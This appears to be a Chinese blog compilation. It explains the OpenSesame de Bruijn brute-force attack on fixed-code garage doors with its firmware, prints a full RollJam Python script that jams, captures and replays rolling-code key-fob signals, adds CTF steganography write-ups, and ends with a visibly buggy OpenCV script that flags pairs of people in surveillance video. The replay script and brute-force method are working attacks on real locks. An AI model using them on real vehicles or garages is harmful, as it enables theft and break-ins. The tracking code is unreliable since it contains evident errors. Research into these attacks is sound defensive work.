芝麻开门🚗

原文链接🔗:https://samy.pl/opensesame
成功开门放在了最后的动图

​​车库密码系统

大家都知道,车库开关现在基本都是以遥控为主,当我们摁下遥控器发出开启信号,车库接收器收到信号后就会打开,关闭车库是一样的过程,而这也是生产厂商采用的常见思路,但是这并不安全——信号伪造。遥控钥匙中通常会采用的固定代码系统,而这个密钥系统有一个思路简单、利用难度低的漏洞:遥控钥匙的密钥空间极其有限(毕竟钥匙就那么大)。例如,车库遥控器支持 长度为12 位二进制的DIP开关。(DIP开关常用在车库门开启器或是一些早期的无线电话中,用来设定保全码,保全码最长可以用十二个开关来设定,可用来避免和其他车库门开启器或是其他设备之间的电磁干扰。)这本质上是一个打开车库的固定密码,但由于它是二进制(0和1)且长度一共12 位,因此密钥总数量为2 ** 12,即 4096 种可能的组合。

要知道,我们每单击一次钥匙就会发送相同的密钥信号5 次,并且我们会看到每一“位”都需要 2 毫秒才能发送,其中发送整个代码后,每个位有 2ms 的等待时间。因此,每串12 位二进制组合需要(12 位 * 2ms 传输 * 2ms 等待 * 5 次 = 240ms)。要暴力破解整个 8、9、10、11 和 12 位密钥空间,即:

(((2 ** 12)*12) + ((2 ** 11)*11) + ((2 ** 10)*10) + ((2 ** 9)*9) + ((2 ** 8)*8)) = 88576 位
88576 位 * 4ms传输时间 * 5 次传输 = 1771.52 秒 = 30 分钟

除此之外,我们还需要知道发射信号的频率和波特率(幸运的是大部分的车钥匙都采用一种规格的信号)。但如果我们不知道的话,就得尝试几种不同的频率和波特率,那么就需要花费30分钟好几倍的时间。

优化去重

第一个去重尝试效果非常明显,那就是消除重传,不再是每次发送信号 5 次,而是只发送一次,假设没有干扰或接收问题,这会将时间减少至原来的1/5。

1771.52 秒 / 5 = 354.304 秒 = 6 分钟

接着,尝试删除发送每个完整代码之间的等待期,看看是否可以连续发送每个代码。因此,我们不会选择发送111111000000[等待12位]111111000001,而是选择直接发送111111000000111111000001。这样的话,我们直接就又干掉了一半的时间:

1771.52 秒 / 5 / 2 = 177.152 秒 = 3 分钟

看上去就已经很不错了,3min 就可以破解车库门,但是可以更好。

芝麻开门

image

这是最关键的。当查看我们发送的数据时,我们现在正在发送连续的比特流。例如:

  • (代码#1)000000000000
  • (代码#2)000000000001
  • (代码#3)000000000010
  • (代码#4)000000000011

我们拼接起来,就是这样: ​000000000000000000000001000000000010000000000011

问题是,车库的接收器如何看待这些位?如果使用移位寄存器怎么办?

参照原文:

In digital circuits, a shift register is a cascade of flip flops, sharing the same clock, in which the output of each flip-flop is connected to the "data" input of the next flip-flop in the chain, resulting in a circuit that shifts by one position the "bit array" stored in it, shifting in the data present at its input and shifting out the last bit in the array, at each transition of the clock input.

image

如果是这种情况,这意味着如果我们在真实代码之前或之后添加任何数量的位,信号接收器并不会关心。

因此,整个过程就是:假设我们的车库密码是 ​111111000000。如果车库使用移位寄存器,并且我们发送 13 位0111111000000,车库将首先测试:011111100000(不正确)==>(砍掉第一位,然后拉入下一位)==>​ 111111000000(正确!)

而更美妙的是,车库不会清除尝试的密钥,因此发送一串12 位长度的密钥时,还会测试五个 8 位代码、四个 9 位代码、三个 10 位代码、两个 11 位代码,当然还有一个 12 位代码!只要我们每发送12位代码,8-11位代码就会同时被测试。

现在,必须有一种算法能够生成每种可能的代码,并尽可能少的减少位重叠。

德布鲁因序列(de Bruijn sequence)

de Bruijn sequence - Wikipedia

组合​ ​数学中,大小为 k 的字母表 A 上的n阶de Bruijn 序列是一个循环序列,其中 A 上每个可能的长度为 n 的字符串作为子串(即作为连续子序列)仅出现一次。这样的序列用B ( k , n )表示,长度为k ** n​ ,这也是 A 上长度为 n 的不同字符串的数量。这些不同的字符串中的每一个当作为B( k , n )的子字符串时,必须从不同的位置开始,因为从相同位置开始的子字符串并不会不同。因此,B ( k , n )必须至少有k ** n符号。并且由于B ( k , n )恰好 具有​ k ** n ​个符号,因此就包含长度为​ n ​的每个字符串至少一次的属性而言,De Bruijn 序列是最佳的短序列。

不同 de Bruijn 序列​ B ( k , n )的数量为

image

在最短的时间内生成 8-12 位的所有可能的重叠序列来实现该算法,所需要的时间会有多短呢🤔?

答:测试每 8 到 12 位的可能性:((2 ** 12) + 11) * 4ms / 2 = 8214 ms = 8.214 秒!!!

频率、调制、编码器

频率

直接的假设是这些固定销车库和大门跨越很宽的频率范围。例如,维基百科建议这些无线设备跨越 300MHz - 400MHz,要求我们将相同的信号发送到 100 个额外的频率。然而,在提取我能找到的所有固定发射机的 FCC 文档后,我们发现只有少数频率被使用过,主要是​ 300MHz310MHz315MHz318MHz​ 和 ​390MHz

此外,大多数这些接收器都没有任何带通滤波器,允许更广泛的频率通过,在测试中通常至少覆盖额外的 2MHz。

调制

您会发现几乎所有这些发射机都使用​ ASK/OOK ​进行传输。此外,许多接收器通过使用相同的 OOK 信令来支持互操作性。这可以通过测试多个车库门开启器、查看多个发射器的 FCC 文件并注意各种车库门开启器支持的型号来确认。

编码器

以下是大多数此类系统使用的编码器列表:

PT2262、PT2264、SC2260、CS5211、PT2282、PT2240、eV1527、RT1527、FP527、HS527、SCL1527、MC145026、AX5326、VD5026、SMC926、SMC918、PLC168、HCS300、HCS30 1、HCS201

项目成品:

项目地址:https://github.com/samyk/opensesame

主要代码:

#include "types.h"
#ifndef LOCAL
#include <cc1110.h>
#endif
#include <math.h>
#include "ioCCxx10_bitdef.h"
#include "display.h"
#include "keys.h"
#include "garages.h"
#include "rf.h"
#include "fbuffer.h"
#include "zsprites.h"
#include "pm.h"

#define title printl(0, "    OpenSesame 1.0")
#define HIBYTE(a)     (u8) ((u16)(a) >> 8 )
#define LOBYTE(a)     (u8)  (u16)(a)

#define SET_WORD(regH, regL, word) \
    do {                           \
        (regH) = HIBYTE( word );   \
        (regL) = LOBYTE( word );   \
    } while (0)

/* note sdcc wants reverse bit order from datasheet */
typedef struct {
    u8 SRCADDRH;
    u8 SRCADDRL;
    u8 DESTADDRH;
    u8 DESTADDRL;
    u8 LENH      : 5;
    u8 VLEN      : 3;

    u8 LENL      : 8;

    u8 TRIG      : 5;
    u8 TMODE     : 2;
    u8 WORDSIZE  : 1;

    u8 PRIORITY  : 2;
    u8 M8        : 1;
    u8 IRQMASK   : 1;
    u8 DESTINC   : 2;
    u8 SRCINC    : 2;
} DMA_DESC;

__xdata static volatile u8 txdone = 1;
__xdata static volatile u8 ni = 0;

__xdata DMA_DESC dmaConfig;
__xdata u8 realbuf[MAXLEN+1];
__bit sleepy = 0;
__bit txFast = 0;

extern u8 _garage_id = 0;

void setup_dma_tx()
{
    // forum guy used high priority and repeated single mode (TMODE = 2)
    dmaConfig.PRIORITY       = 2;  // high priority
    dmaConfig.M8             = 0;  // not applicable
    dmaConfig.IRQMASK        = 0;  // disable interrupts
    dmaConfig.TRIG           = 19; // radio
    dmaConfig.TMODE          = 2;  // repeated single mode
    dmaConfig.WORDSIZE       = 0;  // one byte words;
    dmaConfig.VLEN           = 0;  // use LEN
    SET_WORD(dmaConfig.LENH, dmaConfig.LENL, MAXLEN);

    SET_WORD(dmaConfig.SRCADDRH, dmaConfig.SRCADDRL, realbuf);
    SET_WORD(dmaConfig.DESTADDRH, dmaConfig.DESTADDRL, &X_RFD);
    dmaConfig.SRCINC         = 1;  // increment by one
    dmaConfig.DESTINC        = 0;  // do not increment

    SET_WORD(DMA0CFGH, DMA0CFGL, &dmaConfig);

    return;
}

void setup()
{
#ifdef SIMULATOR
    UART_Init();
#else
    xtalClock();
    setIOPorts();
    configureSPI();
    LCDReset();

    /* IF setting */
    FSCTRL1   = 0x06;
    FSCTRL0   = 0x00;

    /* DC blocking enabled, OOK/ASK */
    MDMCFG2   = 0x30; // no preamble/sync

    /* no FEC, 4 byte preamble, default channel spacing */
    MDMCFG1   = 0x22;
    MDMCFG0   = 0xF8;

    FREND1    = 0x56;   // Front end RX configuration.
    FREND0    = 0x11;   // Front end RX configuration.

    /* automatic frequency calibration */
    MCSM0     = 0x14;
    //MCSM2 ?
    MCSM1     = 0x30; // TXOFF_MODE = IDLE

    FSCAL3    = 0xE9;   // Frequency synthesizer calibration.
    FSCAL2    = 0x2A;   // Frequency synthesizer calibration.
    FSCAL1    = 0x00;   // Frequency synthesizer calibration.
    FSCAL0    = 0x1F;   // Frequency synthesizer calibration.
    TEST2     = 0x88;   // Various test settings.
    TEST1     = 0x31;   // Various test settings.
    TEST0     = 0x0B;   // low VCO (we're in the lower 400 band)

    /* no preamble quality check, no address check */
    PKTCTRL1  = 0x04;

    /* no whitening, no CRC, fixed packet length */
    PKTCTRL0  = 0x00;

    /* device address */
    ADDR      = 0x11;

    /* packet length in bytes */
    PKTLEN    = MAXLEN;

    setup_dma_tx();
    clear();
#endif
}

int main(void)
{
    u8 key;

    setup();

    while (1)
    {
        title;
        //        "123456789 123456789 1"
        // TODO: make this stuff actually selectable
        printl(2, "Frequency");
        printrlc(2, 21-5, "Auto");
        printl(3, "Baud rate");
        printrlc(3, 21-5, "Auto");
        printl(4, "Bits");
        printrlc(4, 21-5, "Auto");

        // TODO: make this not a loop and use interrupts instead to catch keys
//      while (getkey() != ' ');
        while (1)
        {
            key = getkey();

            // tx!
            if (key == ' ') break;
            else if (key == KPWR)
            {
                sleepy = 1;
                chkSleep();
            }
        }

        // start de bruijn sending
        for (key = 0; key < sizeof(garages)/sizeof(garages[0]); key++)
        {
            _garage_id = key;
            db_send();
        }

        LED_GREEN = HIGH;
        LED_RED = HIGH;

        clear();
        //         "123456789 123456789 1"
        printrl(6, "TRANSMISSION COMPLETE");

    } // while
} // main

/* knock knock
 * - who's there
 * irq rf_vector
 * - irq rf---
 * INTERRUPTING SERVICE ROUTINE RF VECTOR COMPLETE (done transmitting)
 */
void rf_isr_orig() __interrupt (RF_VECTOR)
{
    // clear the interrupt flags
    RFIF &= ~RFIF_IRQ_DONE;
    S1CON &= ~0x03;           // Clear the general RFIF interrupt registers

    txdone = 1;

    // go idle again
    RFST = RFST_SIDLE;
    LED_RED = HIGH; // turn red led off
}

// transmit that badboy
void rftx()
{
    // wait for previous transmission to finish (if any)
    waitForTx();

    txdone = 0;
    LED_GREEN = HIGH; // turn green led off
    LED_RED = LOW; // turn red led on

    // ...
}

// show nyancat while transmitting
void waitForTx()
{
    while (!txdone)
    {
        if (!txFast)
        {
            // this slows down the tx quite a bit
            title;
            fb_blank();
            fb_bitblt((__xdata u8*) nyan[ni++], 30, 20, 0);
            fb_flush();
            //printl(0, "      OpenSesame    ");
            title;
            printl(1, "     Transmitting   ");
            if (ni >= NYANS)
                ni = 0;
        }
    }
}

// from Michael Ossmann's epic IM-ME spectrum analyzer:
void chkSleep()
{
    u8 i;
    /* go to sleep (more or less a shutdown) if power button pressed */
    if (sleepy)
    {
        clear();
        sleepMillis(1000);
        SSN = LOW;
        LCDPowerSave();
        SSN = HIGH;

        while (1)
        {
            sleep();

            /* power button depressed long enough to wake? */
            sleepy = 0;
            for (i = 0; i < DEBOUNCE_COUNT; i++)
            {
                sleepMillis(DEBOUNCE_PERIOD);
                if (keyscan() != KPWR) sleepy = 1;
            }
            if (!sleepy) break;
        }

        /* reset on wake */
        main();
        //setup();
        //goto reset;
    }

}

Bypass rolling code security

现在的车库门开启器已改用安全性较高的滚动码。——维基百科

滚动码技术是目前大部分汽车所采用的防护方法:

image

滚动码技术确实已经比较完善了,安全性上也要比原先的密码系统提高了好几个档次,但还是有不小的问题:

  1. 车钥匙里存有当前的滚动码。当按下车钥匙按钮时,滚动码加上功能码(比如开门,关门等)一起发送给汽车。
  2. 汽车也存有当前的滚动码。当汽车收到同样的滚动码时,它就执行相应的操作。如果收到的数据不匹配,就不执行任何动作。
  3. 车钥匙和汽车里的滚动码是始终保持同步的。
  4. 如果在车钥匙距离车很远时误触了几次车钥匙按钮,或者钥匙发出的信号被故意拦截未被车辆接收,那么车钥匙中的滚动码就会前进好几步,此时跟车内的码就不同步了。这种情况下,汽车允许接收当前码之后指定数量的码,只要车钥匙发送的码在这个窗口之内,汽车都认为是有效的,成功接收后,计数器会再次重新同步。
  5. 如果车钥匙被误按超过设定次数,车钥匙和车就会彻底失去同步,这时候就只能想办法恢复同步了。

同理,如果攻击者能够捕捉到车库附近意外按下按钮的信号,那么就有可能通过重放该信号来解锁车库。但是在实际情况下,要从随机的人那里获取这些信号是相当不现实的。

image

无线电设备在常见频率波段上发送噪声,拦截信号Unlock1使其不能被接收,与此同时保存截获到钥匙发出的Unlock1信号。

当首个钥匙信号遭到拦截,且未能解锁时,车主极大概率会再次尝试。在第二次按下钥匙按钮时,无线电设备会再次拦截信号Unlock2,不过也会在同时传送第一次的信号Unlock1,这次就会被解锁了,通常用户会忽视之前的解锁失败,但是我们却获取了第二个有效的信号。方便的话就安装在汽车上或藏在车库附近,它就可以重复拦截信号,不管车主进行了多少次解锁,它都始终传送上一个信号,然后储存下一个信号,这样的话不管何时取回这一装置,他都会得到一个未使用且有效的滚动码信号。

# 以下命令已由匿名用户测试,用于在远程电源插座上执行攻击
# 自动捕获并重放第一个代码:python rolljam.py -f 315060000 -r 1818 -m -40 -o -2500000 -O capture.io
# 捕获并等待按钮重放第一个代码:python rolljam.py -f 315060000 -r 1818 -m -40 -o -2500000 -O capture.io -k
# 加载先前的捕获并重放:python rolljam.py -I capture.io

import sys
from rflib import *
from struct import *
import bitstring
import operator
import argparse
import time
import pickle

parser = argparse.ArgumentParser(description='Python port of Samy Kamkar\'s Rolljam.  Code by Andrew Macpherson, Ghostlulz(Alex), and Corey Harding.',version="1.0")
parser.add_argument('-f', action="store", default="315060000", dest="baseFreq",help='Target frequency to listen for remote (default: 315060000)',type=int)
parser.add_argument('-r', action="store", dest="baudRate",default=1818,help='Baudrate (default: 1818)',type=int)
parser.add_argument('-n', action="store", dest="numSignals",default=2,help='Number of signals to capture before replaying (default: 2)',type=int)
parser.add_argument('-i', action="store", default="24000", dest="chanWidth",help='Width of each channel (lowest being 24000 -- default)',type=int)
parser.add_argument('-c', action="store", default="60000", dest="chanBW",help='Channel BW for RX (default: 60000)',type=int)
parser.add_argument('-I', action="store", default="", dest="inFile",help='File to read in')
parser.add_argument('-O', action="store", default="", dest="outFile",help='Output file to save captures to')
parser.add_argument('-o', action="store", default="-70000", dest="offset",help='Frequency offset of jammer (default: -70000)')
parser.add_argument('-p', action="store", default="200", dest="power",help='Power level for re-transmitting (default: 200)',type=int)
parser.add_argument('-m', action="store", default="-40", dest="minRSSI",help='Minimum RSSI db to accept signal (default: -40)',type=int)
parser.add_argument('-M', action="store", default="40", dest="maxRSSI",help='Maximum RSSI db to accept signal (default: 40)',type=int)
parser.add_argument('-k', action="store_true", dest="waitForKeypress", default=False,help='Wait for keypress before resending first capture (default: False)')
results = parser.parse_args()

rawCapture = [];
print "Configuring Scanner on Frequency: " + str(results.baseFreq)
d = RfCat(idx=0)
d.setMdmModulation(MOD_ASK_OOK)
d.setFreq(results.baseFreq)
d.setMdmSyncMode(0)
d.setMdmDRate(results.baudRate)
d.setMdmChanBW(results.chanBW)
d.setMdmChanSpc(results.chanWidth)
d.setChannel(0)
d.setPower(results.power)
d.lowball(1)

print "Configuring Jammer on Frequency: " + str(int(results.baseFreq)+int(results.offset))
c = RfCat(idx=1)
c.setMdmModulation(MOD_ASK_OOK) #on of key
c.setFreq(int(results.baseFreq)+int(results.offset)) # frequency
c.setMdmDRate(results.baudRate)# how long each bit is transmited for
c.setMdmChanBW(results.chanBW)# how wide channel is
c.setMdmChanSpc(results.chanWidth)
c.setChannel(0)
c.setMaxPower() # max power
c.lowball(1) # need inorder to read data

time.sleep(1) #warm up

if(results.inFile != ''):
    rawCapture = pickle.load(open(results.inFile,"rb"))
    if(len(rawCapture) == 0):
        print "No captures found"
        sys.exit()
    else:
        print "Loaded " + str(len(rawCapture)) + " captures"
    print "Send Phase..."
    c.setModeIDLE()
    emptykey = '\x00\x00\x00\x00\x00\x00\x00'
    d.makePktFLEN(len(emptykey))
    d.RFxmit(emptykey)
    while True:
        try:
            for i in range(0,len(rawCapture)):
                key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes()
                d.makePktFLEN(len(key_packed))
                raw_input(" Press enter to send capture " + str(i+1) + " of " + str(len(rawCapture)))
                d.RFxmit(key_packed)
                print "Sent " + str(i+1) + " of " + str(len(rawCapture))
        except KeyboardInterrupt:
            print "Bye!"
            d.setModeIDLE()
            sys.exit()
            break;
    print "exiting."
    d.setModeIDLE()
    sys.exit()

print "Jamming...."
c.setModeTX() # start transmitting 

print "Scanning..."
while True:
    try:

        y, t = d.RFrecv(1)
        sampleString=y.encode('hex')
        #print sampleString
        strength= 0 - ord(str(d.getRSSI()))

        #sampleString = re.sub(r'((f)\2{8,})', '',sampleString)
        if (re.search(r'((0)\2{15,})', sampleString)):
            print "Signal Strength:" + str(strength)
            if(strength > results.minRSSI and strength < results.maxRSSI):
                rawCapture.append(sampleString)
                print "Found " + str(sampleString)
                if(len(rawCapture) >= results.numSignals):
                    break;

    except ChipconUsbTimeoutException:
        pass
    except KeyboardInterrupt:
        break
print "Saving phase"
outputCapture = rawCapture
if(results.outFile != ''):
    pickle.dump(outputCapture, open(results.outFile,"wb"))
print "Send Phase..."
#print rawCapture
emptykey = '\x00\x00\x00\x00\x00\x00\x00'
d.makePktFLEN(len(emptykey))
d.RFxmit(emptykey)

print 'Done jamming'
if(results.waitForKeypress == True):
    time.sleep(.5)  # Assumes someone using waitForKeypress mode is testing thus they will be pressing button on remote
            # and waiting for the "Done jamming" message, this delay allows their brain to stop pressing the button
            # don't want to accidentally hop to next code
c.setModeIDLE() # put dongle in idle mode to stop jamming

if(results.waitForKeypress == True):
    raw_input(" Press enter to send first capture")
print 'Replaying'
key_packed = bitstring.BitArray(hex=rawCapture[0]).tobytes()
d.makePktFLEN(len(key_packed))
d.RFxmit(key_packed)
print "Sent capture 1"

while True:
    try:
        for i in range(1,len(rawCapture)):

            key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes()
            raw_input(" Press enter to send capture " + str(i+1) + " of " + str(len(rawCapture)))
            d.makePktFLEN(len(key_packed))
            d.RFxmit(key_packed)
            print "Sent capture " + str(i+1) + " of " + str(len(rawCapture))
    except KeyboardInterrupt:
        print "Bye!"
        d.setModeIDLE()
        c.setModeIDLE() # put dongle in idle mode to stop jamming
        sys.exit()
        break;
print "exiting."
d.setModeIDLE()
c.setModeIDLE()

展示

garage

2023 World Intelligent Congress-Intelligent Driving Challenge | MISC

Challenge name:23333!

难度:Easy

考点:文件十六进制、零宽隐写

WriteUp:

  1. Winhex打开发现明显特征:

    image1

  2. 编写脚本进行恢复:

     input = open(data', 'rb')
     input_all = input.read()
     ss = input_all[::-1]
     output = open('data.zip', 'wb')
     output.write(ss)
     input.close()
     output.close()
  3. vim,打开:零宽隐写:

    image-1

    image

Challenge name:The game of mathematics

难度:Middle

考点:Fuzz

WriteUp:

解压得到key.jpg,是个数独,在线数独求解器 (gwalker.cn)

image-20230517115554833

exif信息里找到提示对角线,根据之前求解的数独结果,得到密码为654917276261618641

image-20230517115636997

得到一个key.txt,根据题目名称数学游戏,猜测也是个数学游戏,fuzz之后发现是Nonogram数织游戏

image-20230517115821023

github上可以找到个解析的网站Nonogram (handsomeone.github.io),得到压缩包密码Take1tEasy

image-20230517120025190

解开得到flag

flag{c6ebcf84bcd54bac0803086a4630f673}

Challenge name:This is Steganography

难度:Middle

考点:LSB音频隐写、webdings字体

WriteUp:

听wav开头有一些杂音,16进制发现data部分有大量不同寻常的01字节

1684287949492-41b83c2b-6b38-4145-a6f6-fbbc0fa717ab

猜测是wav的lsb隐写,写脚本提取

import wave

def read_wav_file(file_path):
    with wave.open(file_path, 'rb') as wav_file:
        params = wav_file.getparams()
        frames = wav_file.readframes(wav_file.getnframes())
    return params, frames

def extract_data(frames):
    binary_data = ''
    for frame in frames:
        binary_frame = format(frame, '08b')
        binary_data += binary_frame[-1]
    return binary_data

def binary_to_bytes(binary_data):
    byte_data = bytearray()
    for i in range(0, len(binary_data), 8):
        byte = binary_data[i:i+8]
        byte_data.append(int(byte, 2))
    return bytes(byte_data)

def save_data_to_file(data, file_path):
    with open(file_path, 'wb') as output_file:
        output_file.write(data)

def main():
    modified_file_path = 'modified_audio.wav'
    params, frames = read_wav_file(modified_file_path)
    extracted_data = extract_data(frames)
    byte_data = binary_to_bytes(extracted_data)
    output_file_path = 'extracted_data.png'

    save_data_to_file(byte_data, output_file_path)

    print("成功提取隐藏的数据并保存到文件。")

if __name__ == '__main__':
    main()

得到一张倒置的图片,是webdings字体(13条消息) 'Webdings' 的字体对照表_webdings字体_chenjieit619的博客-CSDN博客

1684288118403-ff1e1aa8-2ea3-4581-bc38-3a70edc97d49

倒置回来后对照表即可得到flag

flag{8d9ad0457c1a8b603978085b0bffcf93}

Challenge name:You're also confused, right?

难度:Schrödinger

考点:Xor

WriteUp

根据题目提示,应该与异或有关,根据flag.zip​后缀提示,将前几个字节与zip文件头异或

可以得到1234

​​image-20230622155130990​​

猜测zip文件应该是与0x01-0xff递增逐字节异或的,解密脚本:

with open('flag.zip', 'rb') as input_file, open('result.zip', 'wb') as output_file:
    byte = input_file.read(1)  
    xor_value = 0x01  

    while byte:

        xor_byte = bytes([byte[0] ^ xor_value])
        output_file.write(xor_byte)

        byte = input_file.read(1) 
        xor_value = (xor_value + 1) % 256  

压缩包解开可以得到两张图

发现两张图大小相同,

image-20230622155620852

打印xor.png的rgb发现这张图并不是一张全黑的图

image-20230622155655132

结合图片名仍跟异或有关,将两张图逐像素异或

from PIL import Image

image1 = Image.open('xor.png').convert('RGB')
pixels1 = image1.load()

image2 = Image.open('rox.png').convert('RGB')
pixels2 = image2.load()

result_image = Image.new('RGB', image1.size)
result_pixels = result_image.load()

width, height = image1.size
for x in range(width):
    for y in range(height):
        r1, g1, b1 = pixels1[x, y]
        r2, g2, b2 = pixels2[x, y]
        r_xor = r1 ^ r2
        g_xor = g1 ^ g2
        b_xor = b1 ^ b2
        result_pixels[x, y] = (r_xor, g_xor, b_xor)

result_image.save('result.png')

得到的图片与rox.png做盲水印得到flag

image-20230622160030497

image-20230622160045206

flag{AC4E331C-A2D0-CA2C-93D6-B9E22F19A373}

AI | 重明

第一个AI?

“这次任务繁重,诸君共勉!”

1300多个视频,每一个都有六个小时的时长,反复观看,持续三天

要在浩如烟海的视频画面中识别出携带有效信息的三个人,尤其是对于刚刚接触业务工作的我们来说,更是堪比青天揽星

第一次听到这个任务的我,也是沉默了一会儿,唉,是个体力活啊

“大家不用有很大的压力,我们也向很多公司寻求了技术支持,比如某华、某康威视,他们的图像识别技术在国内也是领先水平,有他们的协助,再加上大家的共同努力,相信我们一定可以取得非常不错的成绩。”

嗯?技术支持?图像识别?脑袋轰的一下炸开,我知道python有一个开源库opencv​,但是我平时只是拿来提取简单的色素块进行比较排序,还没试过对复杂图像和长时间视频进行一个深度学习、识别、提取的过程,但这次时间跨度有点长,那为什么我不自己去写一个AI帮我去看呢?🤔

OpenCV

假设,我们有一个西瓜🍉那我们如何判断这是一个西瓜的呢?比如说,我们可以从通过分析它的颜色、形状和质地,都可以说它是西瓜🍉。

下一个问题,计算机怎么知道这是西瓜🍉呢?计算机是没有生活经验的,但是计算机视觉的功能可以通过识别图像的线索来进行判断。而这些线索称为图像的特征,而我们要做的就是帮助计算机检测图像中的各种特征。

听上去是不是简单?但写起来还是挺麻烦的,尤其是对我这种基本没接触过深度学习与神经网络的初学者来讲。。。

但可以先确定一下具体步骤,首先要根据照片生成人体检测模型:

  1. 收集和准备训练数据集:获取包含人体的照片,并为每个人体标注边界框或关键点。可以使用公开的人体检测数据集,如COCO​、MPII​等,或者自己手动标注数据集。
  2. 数据预处理:对收集到的数据集进行预处理,包括图像的调整大小、裁剪、归一化等操作,以便于模型的训练和输入。
  3. 构建模型:选择适合人体检测任务的模型架构,如Faster R-CNN​、YOLO​、SSD​等。可以使用现有的模型架构,并根据需要进行修改或微调。
  4. 训练模型:使用准备好的数据集对模型进行训练。在训练过程中,你需要定义损失函数、选择优化算法,并设置训练的超参数。
  5. 模型评估和调优:在训练完成后,使用验证集或测试集对模型进行评估,了解模型的性能。根据评估结果,可以进行模型的调优,如调整网络结构、调整超参数等。
  6. 导出和使用模型:训练完成后,将模型导出为可用的格式,比如caffemodel​、prototx​,然后再用该模型进行人体检测。

上面这些数据处理、模型训练,我相信公司已经在做了,所以我打算直接嫖他们的训练模型(嘿嘿嘿)

目标识别

然后麻烦的就是目标的判断算法,这几天看大家的照片,都是在以胸前图案为主,我一开始也是这样想的,但是在写代码的时候就发现了问题:

  1. 监控的画质并不是很清晰。
  2. 中午阳光强烈,衣服上的图案可能与衣服本身颜色对比不明显,很难提取。

似乎停滞了?

“目标必须要共同行走一段距离,两者之间相距不得超过1.5米。”
所以我果断换了思路——距离计算

虽然这样也会有一定的问题,比如拍摄角度问题,可能就要根据透视原理之类的适当缩放那个距离数值,但是比起图案识别那个思路来讲,难度小,误差也小,实现起来也简单。

我们可以先对两人添加矩形框,然后取矩形框对角线的交点作为两人的中心点,任意连接两个中心点形成线段,判断线段长度是否持续四秒钟小于1.5米,符合条件的话便对此时画面进行捕捉提取。

而距离度量的话,我选择了欧几里得距离公式(欧氏距离)进行计算:

​​image​​

代码编写

第一次自己操刀写的一个AI,说实话写的不行,不美观,思路还有点杂乱。。。

(这是思路的初稿,二代修正在写了)

#!/usr/bin/env python
#-*- coding: utf-8 -*-
import cv2
import time
import math
import numpy as np
import torch
import torchvision.transforms as transforms
import tensorflow as tf
import tf2caffe
import caffe
import random
import os

# 自定义数据路径
data_dir = 'path1'
train_txt = 'path2'
val_txt = 'path3'

# 定义模型结构
model_template = '''
name: "PersonDetection"
layer {{
  name: "data"
  type: "Data"
  top: "data"
  top: "label"
  include {{
    phase: TRAIN
  }}
  transform_param {{
    mirror: true
    crop_size: 227
    mean_value: 104
    mean_value: 117
    mean_value: 123
  }}
  data_param {{
    source: "{TRAIN_TXT}"
    batch_size: 32
    backend: LMDB
  }}
}}
layer {{
  name: "data"
  type: "Data"
  top: "data"
  top: "label"
  include {{
    phase: TEST
  }}
  transform_param {{
    mirror: false
    crop_size: 227
    mean_value: 104
    mean_value: 117
    mean_value: 123
  }}
  data_param {{
    source: "{VAL_TXT}"
    batch_size: 32
    backend: LMDB
  }}
}}
layer {{
  name: "conv1"
  type: "Convolution"
  bottom: "data"
  top: "conv1"
  convolution_param {{
    num_output: 96
    kernel_size: 11
    stride: 4
  }}
}}
layer {{
  name: "relu1"
  type: "ReLU"
  bottom: "conv1"
  top: "conv1"
}}
# 其他层定义...
'''

# 生成prototxt文件
train_prototxt = 'train.prototxt'
val_prototxt = 'val.prototxt'

with open(train_prototxt, 'w') as f:
    f.write(model_template.format(TRAIN_TXT=train_txt))

with open(val_prototxt, 'w') as f:
    f.write(model_template.format(VAL_TXT=val_txt))

# 训练模型
caffe.set_mode_gpu()
solver = caffe.SGDSolver('solver.prototxt')
solver.solve()

# 保存模型权重
trained_caffemodel = 'trained.caffemodel'
solver.net.save(trained_caffemodel)

# 加载模型文件
net = cv2.dnn.readNetFromCaffe('deploy.prototxt', 'model.caffemodel')
# 加载目标视频
video = cv2.VideoCapture("video.mp4")
# 获取视频帧率
fps = video.get(cv2.CAP_PROP_FPS)
# 定义输出图片路径
output_path = 'output_path'
# 初始化变量
start_frame = 0
end_frame = 0
# 定义距离计算:欧几里得距离公式
def calculate_distance(point1, point2):
    x1, y1 = point1
    x2, y2 = point2
    distance = np.sqrt((x2 - x1) ** 2 + (y2 - y1) ** 2)
    return distance
# 取中心点
def calculate_center(box):
    x1, y1, x2, y2 = box
    center_x = int((x1 + x2) // 2)
    center_y = int((y1 + y2) // 2)
    centers.append(center_x, center_y)

# 记录每个人物的最近一次检测时间
person_last_detected = {}

# 定义变量和列表
threshold_distance = 100  # 这里我们假设1.5米对应的像素距离是100
duration_threshold = 3  # 持续时间阈值(单位:秒)
start_time = None  # 记录开始时间
center_points = []  # 存储中心点坐标的列表

while video.isOpened():
    ret, frame = video.read()

    if not ret:
        break
    # 随机选择两个人
    random_indices = random.sample(range(len(centers)), 2)
    selected_centers = [centers[i] for i in random_indices]
    # 进行人体检测并获取人的矩形框
    blob = cv2.dnn.blobFromImage(frame, 1.0, (300, 300), (104.0, 177.0, 123.0))
    net.setInput(blob)
    detections = net.forward()
    centers = []

    for i in range(detections.shape[2]):
        confidence = detections[0, 0, i, 2]
        if confidence > 0.5:  # 设置置信度阈值
            center = detections[0, 0, i, 3:7] * np.array([frame.shape[1], frame.shape[0], frame.shape[1], frame.shape[0]])
            center = center.astype(int)
            centers.append(center)

            x1, y1, x2, y2 = center
            cv2.rectangle(frame, (x1, y1), (x2, y2), (0, 255, 0), 2)

    # 对每个人的矩形框进行处理
    for center in centers:
        # 计算中心点坐标
        center = calculate_center(center)
        # 将中心点坐标添加到列表中
        center_points.append(center)
        # 更新人物中心点和最近一次检测时间
        person_last_detected[center] = time.time()

    # 如果中心点坐标列表长度大于等于2
    if len(center_points) >= 2:
        last_three_points = center_points[-2:]  # 获取最后2个中心点坐标

        # 判断距离是否小于1.5米
        distances = [calculate_distance(point1, point2) for point1, point2 in zip(last_three_points[:-1], last_three_points[1:])]
        if all(distance < threshold_distance for distance in distances):
            if start_time is None:
                start_time = time.time()
            elif time.time() - start_time >= duration_threshold:
                cv2.imwrite("captured.jpg", frame)
                print("Hunt!")
        else:
            # 重置起始时间和中心点坐标列表
            start_time = time.time()
            # 清空人物中心点列表
            center_points = []
    # 移除超过持续时间阈值的检测记录
    current_time = time.time()
    person_centers = [center for center in person_centers
            if current_time - person_last_detected[center] <= duration_threshold]

    # 保存当前帧图片
    cv2.imwrite(output_path, frame)

    #  'q' 键退出
    if cv2.waitKey(1) & 0xFF == ord('q'):
        break
# 释放资源
video.release()
